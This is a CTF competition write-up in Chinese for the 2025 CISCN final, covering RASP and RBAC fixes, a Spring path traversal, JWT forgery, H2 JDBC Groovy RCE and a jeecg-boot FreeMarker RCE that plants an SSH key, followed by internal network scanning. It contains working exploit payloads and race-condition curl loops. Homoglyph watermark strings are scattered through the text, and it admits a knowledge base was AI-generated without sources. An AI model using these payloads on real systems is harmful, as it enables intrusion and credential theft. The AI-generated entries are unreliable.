2025 CISCN Final WriteUp
2025-07-21 Write Up

今年的国赛决赛依旧是和去年一样蝉联了双国一,ѕ‍³ⅴen·ѕ⑶𝒗𝘦n∙site‌‌​𝒔ⅈ‌​𝐭e同时两支队伍都进入了全国前十

image-1.png

Build

Rank 8

image-2.png

1. 知识库构建任务

本任务旨在引导选手围绕网络硬件设备与大模𝒔​⑶𝐯𝘦n․‌ꜱi‍‍t℮​型安全两个方向构建结构化知识库:

一方面,聚焦2020年起Cisco、TP-LINK等主流硬件设备以及车联网设备的漏洞信息,s‌​³ⅴ𝐞n․‍si​𝐭e​提取CVE编号、攻击向量、补丁链接等要素并分类整理;

另一方面,围绕ChatGPT、𝘀‌3ve𝘯∙‍𝘀ⅈ​t𝐞​文心一言等大模型,系统梳理2023年起公开的提示注入、越狱等攻击技术与防御方案。

1.1 网络硬件设备漏洞

网络硬件设备漏洞内容必须包含以下要素:序号、设备品牌、设备类型、产品型号、CVE编号、漏洞描述、𝒔‌‍3𝐯𝐞𝒏.‌𝒔i‌te攻击向量、厂商补丁链接、受影响版本、公开日期

注意:设备类型为路由器、交换机、𝘀‍⑶v𝐞𝐧․‍sⅈ‍‌𝒕𝐞​防火墙、IDS、IPS之类的设备品牌,收集范围包含但不限于Cisco、TP-LINK、NETGEAR、ASUS、D-Link;设备类型为车载通信网关、车载信息娱乐系统、V2X通信模块、OTA升级模块、FOTA管理模块、CAN总线控制器等车联网相关设备的品牌不做限制。

对于第一部分,从 NVD Dataꜱ‍3v𝐞𝐧∙‍ꜱite‍ Feeds 中下载 2020-2025 年的 Json 格式的所有CVE漏洞数据库,并编写脚本筛选符合要求的漏洞信息写入 xlsx 表格中,对于信息源中的 Json 数据,优先使用 CPE 标识进行匹配和解析,如果不存在 CPE 标识,则 FallBack 到 description 匹配和解析:

import gzip, ijson
from pathlib import Path
import pandas as pd
from tqdm import tqdm

DATA_DIR = Path(".")
YEARS = range(2020, 2026)

def iter_cpes(node):
    for c in node.get("cpe_match", []):
        yield c
    for child in node.get("children", []):
        yield from iter_cpes(child)

# 网络设备品牌
VENDORS = {
    "cisco","tp-link","tplink","netgear","asus","d-link",
    "huawei","dell","broadcom","tesla","continental",
    "bosch","panasonic","hp"
}

# 网络设备类型
KEYWORDS1 = {
    "router":"路由器","switch":"交换机","firewall":"防火墙",
    "ids":"IDS","ips":"IPS"
}

# 车联网设备类型
KEYWORDS2 = {
    "gateway":"车载通信网关","infotainment":"信息娱乐系统",
    "v2x":"V2X通信模块","ota":"OTA升级模块",
    "fota":"FOTA管理模块","can":"CAN总线控制器"
}

def match_uri(uri: str) -> bool:
    low = uri.lower()
    return (
        (any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
        or any(k in low for k in KEYWORDS2.keys())
    )

def match_description(desc: str) -> bool:
    low = desc.lower()
    return (
        (any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
    )

def dtype_from_uri(uri: str) -> str:
    low = uri.lower()
    for k, zh in KEYWORDS1.items():
        if k in low:
            return zh
    for k, zh in KEYWORDS2.items():
        if k in low:
            return zh
    return "其他网络设备"

def extract(item: dict) -> dict:
    meta = item["cve"]["CVE_data_meta"]
    cve  = meta["ID"]
    desc = item["cve"]["description"]["description_data"][0]["value"]
    pub  = item["publishedDate"].split("T")[0]
    av   = item.get("impact", {}).get("baseMetricV3", {}).get("cvssV3", {}).get("attackVector", "N/A")

    brand = model = "未知"
    dtype = "其他网络设备"
    versions = set()

    for node in item.get("configurations", {}).get("nodes", []):
        for cpe in iter_cpes(node):
            uri = cpe["cpe23Uri"]
            if not match_uri(uri):
                continue
            parts = uri.split(":")
            if len(parts) >= 6:
                brand = parts[3] or brand
                model = parts[4] or model
            dtype = dtype_from_uri(uri)

            v = (cpe.get("versionEndIncluding")
                 or cpe.get("versionStartIncluding")
                 or cpe.get("version"))
            if v and v not in ("-", "*"):
                versions.add(v)

    if brand == "未知":
        low_desc = desc.lower()
        for v in VENDORS:
            if v in low_desc:
                brand = v
                break

    if dtype == "其他网络设备":
        low_desc = desc.lower()
        for k, zh in KEYWORDS1.items():
            if k in low_desc:
                dtype = zh
                break

    patch = "无可用链接"
    for ref in item["cve"]["references"]["reference_data"]:
        url = ref["url"]
        if brand != "未知" and brand.lower() in url.lower():
            patch = url
            break
    else:
        if item["cve"]["references"]["reference_data"]:
            patch = item["cve"]["references"]["reference_data"][0]["url"]

    return {
        "设备品牌": brand,
        "设备类型": dtype,
        "产品型号": model,
        "CVE编号":  cve,
        "漏洞描述": desc,
        "攻击向量": av,
        "厂商补丁链接": patch,
        "受影响版本": "; ".join(sorted(versions)) if versions else "所有版本或详见公告",
        "公开日期":  pub,
    }

def main():
    rows, seen = [], set()

    for year in YEARS:
        feed = DATA_DIR / f"nvdcve-1.1-{year}.json.gz"
        if not feed.exists():
            raise FileNotFoundError(feed)

        print(f"解析 {year} 中")
        with gzip.open(feed, "rb") as fh:
            for item in tqdm(ijson.items(fh, "CVE_Items.item"), desc=str(year), unit="CVE"):
                # cpe 匹配和解析
                cpe_match = any(
                    match_uri(cpe["cpe23Uri"])
                    for node in item.get("configurations", {}).get("nodes", [])
                    for cpe  in iter_cpes(node)
                )
                # FallBack 到 description 匹配和解析
                if not cpe_match:
                    desc_text = item["cve"]["description"]["description_data"][0]["value"]
                    if not match_description(desc_text):
                        continue

                cid = item["cve"]["CVE_data_meta"]["ID"]
                if cid in seen:
                    continue
                seen.add(cid)
                rows.append(extract(item))

    for i, r in enumerate(rows, 1):
        r["序号"] = i

    df_all = pd.DataFrame(rows, columns=[
        "序号", "设备品牌", "设备类型", "产品型号", "CVE编号",
        "漏洞描述", "攻击向量", "厂商补丁链接", "受影响版本", "公开日期"
    ])

    xlsx_path = DATA_DIR / "hw_kb_2020-2025.xlsx"
    df_all.to_excel(xlsx_path, sheet_name="网络硬件设备安全知识库", index=False)

    print(f"共 {len(df_all)} 条匹配数据:{xlsx_path.name}")

if __name__ == "__main__":
    main()

共匹配到了 3428 ꜱ​³v𝘦n•‍‌𝒔i‍​t℮‍‌项数据,将其写入第一个表格中:

解析 20202020: 20601CVE [00:03, 6581.47CVE/s]
解析 20212021: 23074CVE [00:03, 6227.77CVE/s]
解析 20222022: 26708CVE [00:03, 7516.68CVE/s] 
解析 20232023: 29773CVE [00:03, 7698.11CVE/s] 
解析 20242024: 38429CVE [00:03, 12594.49CVE/s]
解析 20252025: 18602CVE [00:00, 18863.93CVE/s]3428 条匹配数据:hw_kb_2020-2025.xlsx

1.2 大模型安全漏洞

大模型安全漏洞内容必须包含以下要素:序号、模型名称、厂商、攻击类型、𝘀​3ven.ѕ𝐢te​‌攻击名称、攻击方式描述、是否有PoC、修复方案、防御技术、公开日期

注意:模型名称包括ChatGPT、Gemini、Claude、Llama、文心一言、通义千问等;攻击类型包括提示注入、越狱s‌𝟯ⅴen.‍sⅈt𝘦​、命令注入等。

对于第二部分,没有找到可靠的数据源,因此直接用 AI 𝘀‌³ⅴ𝐞𝘯∙‌‍s𝘪‍‍𝒕e‌‌按照模板生成了一百多项:

image-3.png

2. 安全检测项设计任务

选手需在已提供的基础检测项基础上,设计新增内网安全检测项,通过对实际攻击行为、𝘴‍‍3ⅴe𝐧.‍‌𝘀i‍𝘵℮系统配置、用户行为、网络通信等多维度的分析,提出合理、必要、具备执行性的检测内容。

检测内容分为5个方向:信息收集、漏洞扫描、𝘀​3𝘷ℯ𝘯·‍𝐬𝘪𝘵e​应用安全、主机安全、应急响应

每项检测内容必须包含以下要素:𝐬‍𝟯ⅴ℮n.​​𝒔𝘪​​te‍测试项、测试步骤

每个基础检测项中最多计分10个有效测试项(不包含原有样例测试项),并且这些测试项属于该检测项的范围,新增检测项设计数量不限,但每支队伍最多计分50个有效的测试项。

这部分还是直接用 s‍³𝘷𝐞n∙​‌𝐬𝐢‍te​AI 按照模板生成50个有效检测项即可获得满分:

image-4.png

AWDP

1. security_rasp

Fix

注意到 security_rasp.jar 里有一个反序𝐬​⑶ve𝒏․‍‌s𝘪​𝘵𝐞‌列化入口点:

@RestController
@RequestMapping({"/user"})
public class IndexController {
  @PostMapping({"/info"})
  public String ser(@RequestParam String data) throws IOException, ScriptException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
    admin user = (admin)ois.readObject();
    return user.getName();
  }

直接在 OpenRASP 的 official.js 中 ban 𝘀​𝟯𝐯ℯ𝘯•​‌ѕi‍​t𝐞‌掉所有的反序列化操作即可修复成功:

const clean = {
-   action:     'ignore',
+   action:     'block',
    message:    'Looks fine to me',
    confidence: 0
}

if (algorithmConfig.deserialization_blacklist.action != 'ignore') 
{
    plugin.register('deserialization', function (params, context) {
        var clazz = params.clazz
        for (var index in algorithmConfig.deserialization_blacklist.clazz) {
            if (clazz === algorithmConfig.deserialization_blacklist.clazz[index]) {
                return {
                    action:     algorithmConfig.deserialization_blacklist.action,
                    message:    _("Deserialization blacklist - blocked " + clazz + " in resolveClass"),
                    confidence: 100,
                    algorithm:  'deserialization_blacklist'
                }
            }
        }
        return clean
    })
}

2. rbac

题目分析

题目给的是一个 Docker 的 tar s​‍𝟯𝐯e𝒏·‌𝘀𝐢‌te‍‌镜像,可能是怕我们本地没有 Linux go 的 build 环境(还真没有)

docker load 𝒔​‍𝟯ⅴ𝘦𝐧•‍𝘴𝘪​‍𝘵𝐞‌镜像后从镜像中提取 main.go:

package main

import (
    "errors"
    "os"
    "path/filepath"
    "strings"

    "github.com/gin-gonic/gin"
)

var RBACList = make(map[string]int)

type ResTemplate struct {
    Success bool
    Data    any
}

type ExecStruct struct {
    File      []string
    Directory []string
    Pwd       []string
    Flag      []string
    FuncName  string
    Param     string
}

func main() {
    r := gin.Default()
    initRBAC()
    r.GET("/", func(c *gin.Context) {
        htmlContent, err := os.ReadFile("index.html")
        if err != nil {
            c.String(400, "Error loading HTML file")
            return
        }

        c.Writer.Write(htmlContent)
    })

    r.GET("/getCurrentRBAC", func(c *gin.Context) {
        var response ResTemplate
        if RBACList["rbac:read"] == 1 {
            response = ResTemplate{
                Success: true,
                Data:    RBACList,
            }
            c.JSON(200, response)
        } else {
            response = ResTemplate{
                Success: false,
            }
            c.JSON(403, response)

        }

    })

    r.POST("/execSysFunc", func(c *gin.Context) {
        var execStruct ExecStruct
        var response ResTemplate
        err := c.ShouldBindJSON(&execStruct)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)
        }

        // permission grant
        RBACToGrant := make(map[string]int)
        var value string
        maxDeep := 0

        if execStruct.Directory != nil {
            for _, value = range execStruct.Directory {
                if maxDeep < 8 {
                    RBACToGrant["directory:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }
        if execStruct.Flag != nil {
            for _, value = range execStruct.Flag {
                if maxDeep < 8 {
                    RBACToGrant["flag:"+value] = 1
                    maxDeep++
                } else {
                    break
                }
            }
        }
        if execStruct.Pwd != nil {
            for _, value = range execStruct.Pwd {
                if maxDeep < 8 {
                    RBACToGrant["pwd:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }

        if execStruct.File != nil {

            for _, value = range execStruct.File {
                // Grant temporary file:return permissions
                if value == "return" && RBACList["rbac:change_return"] != 1 {
                    if maxDeep < 5 {
                        RBACToGrant["rbac:change_return:1"] = 1
                        RBACToGrant["file:"+value] = 1
                        RBACToGrant["rbac:change_return:0"] = 1
                        maxDeep += 3
                    } else {
                        break
                    }

                } else {
                    if maxDeep < 8 {
                        RBACToGrant["file:"+value] = 1
                        maxDeep++
                    } else {
                        break
                    }

                }

            }
        }
        updateRBAC(RBACToGrant)
        result, err := execCommand(execStruct.FuncName, execStruct.Param)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)

        } else {
            response = ResTemplate{
                Success: true,
                Data:    map[string]string{"result": result},
            }
            initRBAC()
            c.JSON(200, response)
        }

    })
    r.Run(":80")
}

func initRBAC() {
    RBACList = make(map[string]int)
    RBACList["file:read"] = 0
    RBACList["file:return"] = 0
    RBACList["flag:read"] = 0
    RBACList["flag:return"] = 0
    RBACList["pwd:read"] = 0
    RBACList["directory:read"] = 0
    RBACList["directory:return"] = 0
    RBACList["rbac:read"] = 1
    RBACList["rbac:change_read"] = 1
    RBACList["rbac:change_return"] = 0

}

func updateRBAC(RBACToGrant map[string]int) {
    for key, value := range RBACToGrant {
        if strings.HasSuffix(key, ":read") {
            if RBACList["rbac:change_read"] == 1 {
                RBACList[key] = value
            }
        } else if strings.HasSuffix(key, ":return") {
            if RBACList["rbac:change_return"] == 1 {
                RBACList[key] = value
            }
        } else if key == "rbac:change_return:1" {
            RBACList["rbac:change_return"] = 1

        } else if key == "rbac:change_return:0" {
            RBACList["rbac:change_return"] = 0

        } else {
            RBACList[key] = value
        }

    }
}

func execCommand(funcName string, param string) (string, error) {

    if funcName == "getPwd" {
        if RBACList["pwd:read"] == 1 {
            pwd, err := os.Getwd()
            return pwd, err

        } else {
            return "No Permission", nil
        }
    } else if funcName == "getDirectory" {
        // read directory
        if RBACList["directory:read"] == 1 {
            var fileNames []string
            err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
                fileNames = append(fileNames, info.Name())
                return nil
            })
            if err != nil {
                return "error", err
            }
            directoryFiles := strings.Join(fileNames, " ")
            if RBACList["directory:return"] == 1 {
                return directoryFiles, nil
            } else {
                return "the directory " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }

    } else if funcName == "getFile" {
        // read file
        if RBACList["file:read"] == 1 {
            if strings.Contains(param, "flag") {
                if RBACList["flag:read"] != 1 {
                    return "No Permission", nil
                }

            }
            data, err := os.ReadFile(param)
            if err != nil {
                return "file:"+param+" doesn't exist", nil
            }
            content := string(data)
            if RBACList["file:return"] == 0 {
                return "the file " + param + " exists", nil
            } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
                return content, nil
            } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
                return content, nil
            } else {
                return "the file " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }
    } else {
        return "No such func", errors.New("No such func")
    }
}

题目中的各函数主要维护一个用于权限控制的 RBACList,𝘴​3𝘷e𝒏·‍‍ꜱi‍​𝒕e但没有对该 List 设置互斥锁,导致存在竞态条件

出题人好像出锅了,𝒔​‍3𝐯ℯ𝐧.‌𝐬𝘪𝒕𝘦‍‍这个题目本身的功能实现和控制流都是错误的,由于 𝘴​⑶ven.‌ꜱi‌​𝒕𝐞​​Go 的 map 是一个哈希表,updateRBAC(RBACToGrant map[string]int) 中对 RBACToGrant 的遍历并不是按照添加的顺序,其遍历顺序是无序且随机化的,因此完全不能实现预期功能,也就导致本题可以被非预期

Fix

直接删除读 flag 𝘀​𝟯ⅴℯn•​​ꜱi​𝘵e‍​的逻辑的代码即可:

241	  if RBACList["file:return"] == 0 {
242	      return "the file " + param + " exists", nil
243	  } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
244	      return content, nil
245	- } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
246	-     return content, nil
247	  } else {
248       return "the file " + param + " exists", nil
249	  }

Break

非预期打法

直接按照正常顺序读一个不存在的目录或者持续输出的目录避免进入 𝐬‌‍𝟯𝘷𝐞𝒏•​𝐬i‌𝐭e‌initRBAC 导致重置

{
  "File":[
    "read",
    "return"
  ],
  "Directory":[
    "read",
    "return"
  ],
  "Pwd":[],
  "Flag":[
    "read"
  ],
  "FuncName":"getDirectory",
  "Param":"/tmp/zxx"
}

假设这里随机化到了一个 RBACList["rbac:change_return"] = 1 的结果,然后给 ꜱ‍‌3𝒗𝐞n·​s𝐢‍​𝒕e‍flag 设返回权限:

{
  "File":[
    "return"
  ],
  "Directory":[],
  "Pwd":[],
  "Flag":[
    "return"
  ],
  "FuncName":"getDirectory",
  "Param":"/tmp/zxx"
}

最后读出 flag:

{
  "File":[],
  "Directory":[],
  "Pwd":[],
  "Flag":[],
  "FuncName":"getFile",
  "Param":"/flag"
}
预期打法

假设该题的功能实ꜱ‍⑶𝒗℮n·ꜱ𝘪t𝘦​‌现是正确的,updateRBAC(RBACToGrant map[string]int) 中按照添加的顺序对 𝘀‌³𝒗℮n•‍ѕ𝐢‌𝒕𝘦​‌RBACToGrant 进行遍历

由于这里的 RBACList 没有设置全局互斥锁,导致存在竞态条件,当某一请求线程运行到RBACList["rbac:change_return"] = 1 而另一线程运行到 if RBACList["rbac:change_return"] == 1 { RBACList[key] = value } 时即可设置 flag key 的 𝘴‍𝟯𝒗ℯn•​sⅈ​‌𝒕𝐞​‍return 权限从而读出 flag

直接跑两个脚本竞态:

while true; do 
  curl "http://xxxx/execSysFunc" --data '{"File":["read","return"], "Directory":[],"Pwd":[],"Flag":["read","return"],"FuncName":"getFile","Param":"/proc/1/environ"}';
done
while true; do 
  curl "http://xxxx/execSysFunc" --data '{"File":[],"Directory":[],"Pwd":[],"Flag":[],"FuncName":"getFile","Param":"/flag"}';
done

其中第一个脚本多线程异步跑,用于创造 flag 的 return 𝘀³ven.‍𝘀𝘪​𝒕℮​‌条件,第二个脚本用于读出flag

3. ota

题目分析

1. Spring 框架目录遍历漏洞
<properties>
    <spring-boot.version>3.3.3</spring-boot.version>
</properties>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-undertow</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

题目使用 undertow + webflux 框架,其中 spring-ꜱ‍⑶v℮𝘯.‌‍ѕⅈ‍​teboot version 为 3.3.3,存在 CVE-2024-38816 Spring Framework 目录遍历漏洞,漏洞点如下:

@Configuration
public class WebConfig {
  @Bean
  public RouterFunction<ServerResponse> route() {
    return 
      RouterFunctions.resources("/static/**", (Resource)new FileSystemResource("/opt/static/"));
  }
}

由于 Windows 和 Linux 对 Path 的处理不同,𝐬​𝟯ven.‍ѕ𝐢‌te‌这里使用类 Linux 环境进行复现

PathResourceLookupFunction#apply 下断点
image-5.png
首先使用静态资源路由 Pattern 进行匹配,留下剩余的 Path 部分,接着对其进行一次 URL decode 得到 ////../////../opt/ota.jar,接着进入 isInvalidPath 判断:
image-6.png
可以看到经过 StringUtils.cleanPath 处理后原来的 Path 变为了 //////opt/ota.jar,这里查看一下 cleanPath 的具体逻辑:
image-7.png
由于使用 / 作为分隔符对路径进行 normalize 化导致产生了多个空路径元素,使得该路径在被处理时消除了用于路径穿越的 s‍3ⅴ𝐞𝘯․‌​si‌‌𝐭𝐞‌‌Payload,最终通过 isInvalidPath 检测
image-8.png
最终该 Path 和静态文件路径拼接后实现了目录穿越能够成功读取文件资源

2. h2 database JDBC RCE

注意到题目使用 Java 17,并包含 h2database 和 groovy 依赖:

<properties>
    <java.version>17</java.version>
</properties>

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>2.0.204</version>
</dependency>

同时 h2database 的 𝐬𝟯𝘷𝘦n․‍‍𝒔ⅈ​t𝘦‍​JDBC URL 是可控的:

@PostMapping({"/admin/init"})
@ResponseBody
public String initH2Database(@RequestBody JdbcRequest request) {
    try {
      Class.forName("org.h2.Driver");
      Connection connection = DriverManager.getConnection(request.getJdbcUrl(), request.getUsername(), request.getPassword());
      connection.close();
      return "H2 database initialized successfully!";
    } catch (Exception e) {
      e.printStackTrace();
      return "Failed to initialize H2 database: " + e.getMessage();
    } 
}

根据经验,此处应该打 h2database JDBC RCE,使用 ѕ‍3ⅴ𝘦n•‌ѕ𝘪𝒕e‍groovy 引擎执行任意 Java 命令:

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'
3. JWT Token 伪造

由于 Security 策略中限制了触发 jdbc connect 的路由 /admin/init 的访问权限为 SUPERADMIN,且没有提供获得该权限的途径,𝒔‍⑶𝒗en∙​𝘴i‍​t𝘦​因此此处需要伪造用于身份认证的 JWT Token

题目给出的附件中没有提供 jwt token,因此需要先通过第一步的目录遍历漏洞读取 ota.ꜱ​‍3𝘷e𝘯․s𝐢​te‍jar,再从中获得 jwt secret 进行伪造

首先使用题目中给出的 ADMIN 账号登录,获得 ѕ​𝟯𝐯ℯ𝐧·‌𝘴ⅈ𝘵℮​ADMIN 的 JWT Token:

{
  "sub": "admin",
  "roles": [
    "ROLE_ADMIN"
  ],
  "iat": xxxx,
  "exp": xxxx
}

将其修改为以下内容并重新使用 jwt s𝟯ⅴ𝘦𝐧∙‌𝘴i‍t𝐞​‌secret 签名即可绕过

{
  "sub": "admin",
  "roles": [
    "ROLE_SUPERADMIN"
  ],
  "iat": xxxx,
  "exp": xxxx
}

Fix

把依赖里的 spring-parent 从 3.𝐬‍3ⅴe𝒏․‌𝘀𝐢​te‌3.3 换到 3.3.4:

<properties>
    <spring-boot.version>3.3.3</spring-boot.version>
</properties>

将其修改为:

<properties>
    <spring-boot.version>3.3.4</spring-boot.version>
</properties>

image-9.png
可以看到,修复后的𝐬³𝐯e𝒏.ꜱi‍‌te版本添加了 isInvalidEncodedInputPath 方法用来过滤该绕过场景,其中processPath 方法对第一个前导 / 后的无效字符进行了删除,同时对连续的重复 / 进行了处理,将其恢复为单个 /,从而实现了漏洞修复

这里如果只修复用于触发 h2 database RCE 𝐬‍⑶𝐯𝐞n·‌ѕi​te‍‌的部分则无法通过 check,依然是 exp 利用成功,但是如果只修复 Spring 目录遍历漏洞则可以通过 check,猜测可能是 ꜱ‍‍⑶𝒗𝘦𝘯.​𝒔ⅈ​𝘵e​checker 的编写是假设了提前知道 flag 的文件名,直接通过目录遍历获得的 Flag

Break

首先利用目录遍历漏洞𝒔‌⑶𝐯ℯn․‌𝘀i‌​te拿到 jar 包:

wget /static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/opt/ota.jar

然后从 jar s𝟯ve𝘯·‍‍𝐬ⅈte‍包中拿到 jwt secret:

jwt.secret=b3d5f4a7c1e9b2a8d7f6c3e2a1b0d9c8e5f4b3a2d1c0b9a8f7e6d5c4b3a2e1f0

然后构造一个SUPEѕ​𝟯𝐯en·‍𝒔𝐢​​𝐭eRADMIN token

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjpbIlJPTEVfU1VQRVJBRE1JTiJdLCJpYXQiOjE3NTI5ODgyNjcsImV4cCI6MTc1Mjk4OTEzMX0.Z6-BgAkWSIOGqGx85f96Gt2XW7MoPhYQCxDVJj5LgnNGCyjEf85yqkmU9gb5-ii3UNS744eFcUr9S1_jBHTg2g

最后打 h2 𝘀‌𝟯𝒗ℯn∙𝘀i​‍𝒕℮‌‌groovy rce

{
    "jdbcUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'",
    "username": "sa",
    "password": "123123"
}

也算是拿了个国赛的二血。因为本地没存这个 Spring 的 CVE,而且只有 Windows 环境,Windows 里随便写个 URL Encoded ꜱ​⑶𝒗en·‍‍ꜱ𝐢‌‍te的穿越都能实现任读,而 Linux 因为 Path 处理不同而实现不了,所以只能看源码改 Jar 包里的库代码来用 System.out.println 在 Linux 的 Docker 里调试 Payload 调了半天。不过还好这题最后解不多(应该是AWDP Web里解最少分最高的一题),靠这题的 Break 和 Fix 拿了快 1000 分,但也导致剩下两个 Web 只做了 Fix 来不及看 Break 了。

Pentest

1. web01

打开后是一个 𝘀‍𝟯𝒗𝐞𝐧․‌𝐬ⅈ​𝐭𝐞​FinancePro ERP

image-10.png

80端口没什么东西,8081端口有个 𝘀​‌³𝒗en·​si‍𝘵𝐞​‌jeecg-boot

image-11.png

jeecg-boot 存在 queryFieldBySql 接口RCE漏洞(CVE-2023-𝐬‌3ⅴe𝒏.‌​s𝘪‍𝒕℮‍4450),通过 SSTI 模板渲染能够打回显 RCE,直接构造 Payload 写入 SSH Key

POST /jmreport/queryFieldBySql HTTP/1.1
Host: xxxx
Origin: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 294

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"bash -c {echo,ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=}|{base64,-d}|{bash,-i}\") }' "}

ssh 登录后𝘴𝟯𝒗ℯ𝐧∙‍​ѕⅈ​‌t℮​看网卡配置:

root@web01:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:b6ff:fec8:3122  prefixlen 64  scopeid 0x20<link>
        ether 02:42:b6:c8:31:22  txqueuelen 0  (Ethernet)
        RX packets 120  bytes 5749 (5.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 128  bytes 8133 (8.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.22  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe10:869  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:08:69  txqueuelen 1000  (Ethernet)
        RX packets 7518  bytes 9325909 (9.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4445  bytes 7358439 (7.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4596  bytes 1591117 (1.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4596  bytes 1591117 (1.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vetha13ce1e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::e42f:6cff:fe10:cd7d  prefixlen 64  scopeid 0x20<link>
        ether e6:2f:6c:10:cd:7d  txqueuelen 0  (Ethernet)
        RX packets 120  bytes 7429 (7.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 141  bytes 9139 (9.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Fscan 扫内网网段:

root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.0/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     CIDR范围: 172.22.10.0-172.22.10.255
[1.8s]     generate_ip_range_full
[1.8s]     解析CIDR 172.22.10.0/24 -> IP范围 172.22.10.0-172.22.10.255
[1.8s]     最终有效主机数量: 256
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] [*] 目标 172.22.10.7     存活 (ICMP)
[1.8s] [*] 目标 172.22.10.22    存活 (ICMP)
[1.8s] [*] 目标 172.22.10.17    存活 (ICMP)
[1.8s] [*] 目标 172.22.10.253   存活 (ICMP)
[1.8s] [*] 目标 172.22.10.88    存活 (ICMP)
[4.8s]     存活主机数量: 5

web02:

root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.88 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.7s]     已选择服务扫描模式
[1.7s]     开始信息扫描
[1.7s]     最终有效主机数量: 1
[1.7s]     开始主机扫描
[1.7s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
